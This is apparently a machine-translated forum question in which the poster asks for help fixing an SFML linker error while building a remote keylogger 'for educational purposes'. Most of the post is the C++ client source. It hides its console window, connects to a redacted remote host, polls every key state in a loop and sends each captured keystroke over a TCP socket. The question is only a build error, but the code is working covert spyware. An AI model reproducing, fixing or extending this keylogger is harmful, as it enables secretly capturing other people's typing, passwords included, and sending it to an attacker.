因此,我正在爲遠程鍵盤記錄器教育的目的。出於某種原因,當我嘗試編譯客戶端,我得到這個錯誤(我使用SFML):無法解析的外部符號sf :: SFML時間
Error LNK2001 unresolved external symbol "__declspec(dllimport) public:
static class sf::Time const sf::Time::Zero" ([email protected]@[email protected]@[email protected])
什麼奇怪的是,服務器編譯罰款,它使用相同的庫。我無數次檢查鏈接器設置,甚至嘗試創建一個新項目,但沒有成功。
下面的代碼:
#include <fstream>
#include <Windows.h>
#include <SFML\Network.hpp>
#include <iostream>
void ConnectToHost(sf::TcpSocket* socket)
{
sf::Socket::Status status = socket->connect("*****", ***);
if (status != sf::Socket::Done)
std::cout << "Error connecting to socket." << std::endl;
return;
}
int main()
{
FreeConsole();
sf::TcpSocket socket;
ConnectToHost(&socket);
while (1)
{
for (char key = 8; key <= 190; key++)
{
if (GetAsyncKeyState(key) == -32767)
{
char key_sent[50] = { key };
socket.send(key_sent, sizeof(key_sent));
}
}
}
return 0;
}
我目前鏈接SFML-網絡d.lib調試和SFML-network.lib釋放,但我也試圖連接所有SFML動態鏈接庫也是如此,所以不能與它有任何關係。無論如何,我認爲這只是一個粗心大意的錯誤,我已經推翻或忽略了,但是自從我一直在研究這個問題幾天以來,我認爲我會把它作爲一個問題發佈。